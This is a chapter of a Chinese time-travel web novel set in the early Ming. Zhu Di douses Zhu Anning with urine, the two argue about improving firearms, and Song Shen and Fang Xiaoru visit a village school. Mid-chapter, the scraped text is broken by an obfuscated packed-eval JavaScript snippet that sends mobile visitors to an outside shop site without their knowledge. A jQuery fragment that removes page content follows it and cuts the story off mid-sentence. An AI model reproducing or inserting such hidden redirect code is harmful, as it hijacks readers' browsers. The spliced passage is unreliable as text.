尿很骚,还有点凉……
甚至于,其实朱棣也不知道这尿是不是童子尿。
反正他只知道这是李景隆千辛万苦收集回来,准备用来和肥料用的。
百家尿都有的话,也应该有童子尿吧。
庄子里的孩童也不算少。
而朱安宁则比朱棣还要懵逼。
他就这么突然被浇了一身……
什么个情况。
自己说不定可是可以促进古代科学进步的大功臣啊……怎么院子里感叹两句,发下少年狂,就被浇了一身奇怪的液体。
所以这这腥臊的液体是什么啊……
在灯光下,他看到了提着桶,还保持着泼东西姿势的,有些畏缩的朱棣。
抬眼,还看到了远处的几个家伙,更是眼神闪躲。
朱安宁全身湿漉漉的。
觉得有点难顶。
当他把袖子凑到鼻子面前的时候,他变得更难顶。
分子是不断运动的,温度越高,运动越剧烈。
三十七度的体温下,气味分子很容易就进到了他的鼻腔深处。
在大脑皮层那里勾勒出了液体的名称……
于是朱安宁,表情立马就丰富了起来,比刚才的癫狂模样,还要劲爆。
“伍燕!我日你嘛!辟尼玛的邪啊!”
他叫得无比凄厉,向始作俑者发出了对战邀请。
但是他这附魔肉体,那堪比大成圣体,谁敢与之一战?
朱棣吓得桶都不要了,直接丢到了地上,连滚带爬地跑向了李景隆那几人所在的方向,慌忙逃窜。
“救我!”他顾不得那么多,只希望赶紧把李景隆等人拉到自己的身前当个护盾。
“你不要过来啊!!!”而不远处那几个人,则不约而同地开始咆哮。
院中响起了,比刚才朱安宁还要凄厉的叫声。
是一阵混乱。
……
时间来到半夜。
身子干净的人自然是已经睡下,比如李景隆,比如刘廌和刘畾。
而朱安宁的头还是湿漉漉的。
他刚才又洗了个澡。
洗了很久且洗得很认真。
朱棣也是如此。
两人都换了身衣裳,此时正站在树下。
借着灯光可以看到一脸阴沉的朱安宁,和不知所措的朱棣。
两人的目光交流终有尽时。
最后朱安宁还是选择了朴实无华的语言交流,他相信这样更能传达他的感情色彩。
“你是不是有病!我像中邪的样子?而且就算中邪了也不是说上来就泼尿吧!能不能文明点!你这地主家的儿子读了书也还是毛毛糙糙,能不能学学你大哥,多温文,多尔雅,都混到东宫去了!你呢?你呢?就这德行,未来北边打仗都懒得征你,丢你去看北大门都算是重用你了。”
他叉着腰,很想一棒槌锤死这伍燕,但是杀人是犯法的,他是良民。
所以他选择了用手指去戳朱棣的脑袋,顺便锐评了一下他。
因为太过恼火的缘故,后面说得是乱七八糟。
但是朱安宁并不觉得有问题,情感到位了就行。
一轮输出后,他觉得是舒服了许多。
而朱棣,自然是觉得很委屈。
自己多果断啊,找不到黑驴蹄子和糯米鸡血,那童子尿,不就是最好用的了么。
“朱哥,我们不是怕你撞鬼了么。”他一边躲朱安宁那根快要戳到他额头的手指,一边嘟囔道。
“还敢啵嘴!你说说,这光天化日朗朗乾坤!哪来的鬼!”
“朱哥现在是晚上……”
“呃,晚……晚上男鬼也不喜欢搞我这种男人吧,女鬼的话他敢来我就敢……哎,算了算了,休息休息。”
已经骂了许久的朱安宁,是终于累了,他摆了摆手,示意算了。
结果这时朱棣却来劲了。
这家伙凑到了边上问道。
“先生,究竟发生了什么,我们看你在那里大叫……”
朱安宁捋了捋湿漉漉的头发,没好气地回道。
“我高兴不行嘛?”
“这也太……太高兴了吧。”被朱安宁怼了句,朱棣也是有点退缩。
“我寻到了法子改良火铳你信不信?”朱安宁白了一眼朱棣,正准备转身。
他就当是自己随便说点胡话而已,却没想到,这伍燕会出手拉住自己。
“真的?”朱棣很是惊讶。
改良火铳,那可不是说说就算了的。
要知道朱元璋其实是极为重视火器的。
宝源局,铸造厂,都是历史上可以找寻到痕迹的机构。
所以朱棣也对火枪,相当有研究。
不然他登基后,又怎么会下旨要大力改造这火门枪呢。
看着满脸好奇加兴奋的朱棣,朱安宁那是始料未及的。
“你弟折腾草药,你就喜欢折腾这些火枪是吧,起开起开,先睡觉,我一晚上被你们折腾来折腾去的,命都少了半条,我现在就是有点想法而已,等我想清楚了再说,而且再怎么样,也得等你哥来了才好聊吧,你哪懂那么多国家大事,小屁孩。”
一番白
眼加讥讽,饶是朱棣脾气好他也受不了了。
那是直接就轻哼了起来。
“朱哥……你最近口气大了好多啊……”
“嘿,我可是太子封的东宫赞读啊,正儿八经的朝廷命官了,怎么,本大人议论下国家大事不行?我这是为国分忧。”
“赞读?”
这话朱棣是第一次听。
而且这什么鬼官。
饶是朱棣都要在脑中检索了一阵,才想起这职位……
不就是伴读么?九品吧……还是七品?!
大哥可真会挑啊。
这伴读那就真是纯闲职了,毕竟太子都二十好几了,都常务副皇帝了,还读个毛的书啊。
朱棣是笑也不是,回话又找不到合适的话语。
而朱安宁却也以为自己是终于镇住了这个胆敢偷袭朝廷命官的宵小,便甩了甩手,那是趁他不备,直接就钻进了房车里。
“哇!朱哥!”朱棣在门外叫了两声。
却依旧是没能叫开门。
其实朱棣是真的想和朱安宁谈谈火铳的……如果朱安宁是真的懂这些的话。
只是叫了几次,朱安宁都没有理会。
他也只能悻悻地往屋内走去。
而房车内的朱安宁,终于是可以坐回到位置上,歇息。
今晚真就是大起大落,对身体非常不好那种。
他不敢放朱棣上来,是有原因的。
他知道个屁的火铳结构和改良……那不得看过天工开物才懂啊……
眼前的电脑屏幕还未熄灭。
朱安宁,决定,先把这关于天工开物的资料,先整理出来,省得哪天清缓存,什么都没了,那就真的是脑淤了。
——————————
酒家是有提供睡觉的地方的。
毕竟天天有人喝醉,有人犯困。
搞些供人歇息的房间,那是既赚了钱银,又方便了客人……各种客人都方便,嘿嘿。
而在酒家房间床上醒来的宋慎现在很后悔。
倒不是他酒后乱性干了什么有违家训的事情……毕竟和他喝酒的人是方孝孺,方孝孺可老直男了,可是能夺取华夏史上下五千年唯一称号的那种直。
他后悔的是,昨天好像讲了很多有的没的。
讲就算了。
他好像还约了方孝孺去探那永乐庄。
本来这种酒局口嗨的事情,过去也就算了。
但是该死的。
这话是说给耐诛王方孝孺同志的……而现在这个铁头娃就站在他面前。
昨天倒竹子似地讲了一大堆,虽然说没有透露什么机要,但是永乐庄这个地名他是说了出去的,两人是围着那永乐庄的乡学,批判了一整个晚上……
所以,他看着一身便装站在自己身前的方孝孺,那是一阵头痛。
“希直,头痛啊头痛啊,宿醉宿醉,改日再去吧,哈。“
“昨日我们不过饮了几壶,相林你酒量哪止这么点,赶紧走吧,晚了天气热。”
而方孝孺并没有给宋慎继续赖的机会,只见他一把把宋慎薅了起来,拉着就往外面走。
宋慎那是被拉得没了脾气。
这方孝孺又犟,力气还比自己大……
今天可真是要一身骚了啊。
他只能开始祈祷,千万别出什么意料之外的事情。
让方孝孺去对着那学堂发发癫就算了。
自己和刘畾交情也不错,大不了事后道歉……哎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378731|141046||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
希望太子没有什么别的布置在那边……
两人,就这样踏上了前往永乐庄的路上。
“希直,一会你见到那乡学的先生,也不要太过惊讶……”
“怎么,那乡学里还能有什么隐士高人不成?”
“高人倒不是,哎,等你去了就知道了……千万不要莽撞哈……”宋慎是叹了口气,即便他脑子在不好使,也知道刘畾的身份是不能公开的……
而方孝孺却无所谓地摇了摇头。
去了再说。
这天下的大儒,他哪个不是认识?
看着方孝孺的样子,宋慎自然是知道自己的好友那是完全没有把自己的话听进去,毕竟这方孝孺年少气盛,又仕途不顺,那是火气正大着的时候。
完了,惹了什么乱子。
自己指不定挨一刀,还要连累告老还乡的老爷子……
真的完了。
宋慎是一阵哀嚎,只想给昨晚的自己一巴掌。
而令宋慎没想到的是,身后还有一波人,这波人正是朱标和李文忠。
这两人也走到了官道上,目的地自然也是永乐庄。
朱标,是想去看看其他舆图的情况,顺便问清楚关于铁矿的事情,虽然他已经和朱元璋派了人去勘探。
但是一时半会还没办法得到确切的消息。
两人在路上不紧不慢地走着,所以并没有和前方的方孝孺两人碰面。
而我们的朱安宁同志。
现在还在睡觉……
毕竟昨晚折腾得有点晚,他好好地把那些缓存文件整理到了其他硬盘里,还发现了不少好东西,只是一时半会没办法分门类别好。
所以,
他并不知道,村外,这时候已经有两拨人陆续在赶来。
“嗯?这田地看起来要比隔壁的规整些啊,相林。”
此时的方孝孺和宋慎,已经进入到了永乐庄的地界附近。
“不过是多了些水渠罢了,昨日来时我就看到了。”
宋慎还在想着到时怎么跟朱标解释……随口回应道。
而村口的那几名亲卫,本来是准备上来盘问的了,但是一看是宋慎,那便也停了下来。
两人就怎么拐过了那棵歪脖子树,进到了永乐庄的乡道里。
“相林,你今日心不在焉啊,这边还是这边?”方孝孺皱起眉头,看着前面的岔路指了指。
“哎……”宋慎也是长叹了一口气,船到桥头自然直吧……他指了指前方,那里真是永乐庄乡学所在的地方。
两人越过田埂,走到了更里面的乡道上。
不远处的几个农民,那是好奇地站了起来,然后又弯腰下去。
“老柳,怎么最近这么多人来咱们庄子,前几日不是还有人过来闹事么?”刚弯下腰的柳婶,那是皱起了眉头,看向了旁边的老柳:“这两人没见过啊,看起来也不像是附近村子里的人……会不会又是来……”
而老柳,也是警惕地弯下了腰,瞄了瞄远处的宋慎和方孝孺。
“我日踏马的这群龟儿子真是闲得蛋疼是吧,天天跑我们庄子来闹事,我看这两娃子贼眉鼠眼的一看就不是好人,前几日几个外人差点把咱们娃给揍了,这两个我看也不是什么好货,你在这盯着,我去叫燕爷周爷和三江爷他们几个。”
“好好好,你快去快去,他们应该在荒田那附近。”
老柳寻了个缺口,很快消失在田野中。
而目光一直锁定在乡学上的宋慎和方孝孺,自然是没有发现这些小细节的。
两人三步并两步,很快就走到了乡学附近。
只听见,里面传来了郎朗的读书声。
那是像模像样的感觉,这让宋慎不免是愣了愣。
什么情况?
昨天不是还在那里讲什么肥料还有草啊稻谷之类的事情的么,怎么今天就读上书了?
难道是昨天和自己那么一聊,那刘畾开窍了?知道圣贤之道不可亵渎了?
那感情好啊。
宋慎那是立马就眉开眼笑了起来。
方孝孺也是有点意外,这跟说的好像有点点不一样啊。
两人凑到了墙根附近。
那是终于听清楚了孩童们念的东西。
“氮磷钾,叶根茎,钾抗倒伏磷抗旱,枝叶黄瘦因缺氮,氮长叶子磷长果,有了钾肥腰杆粗!”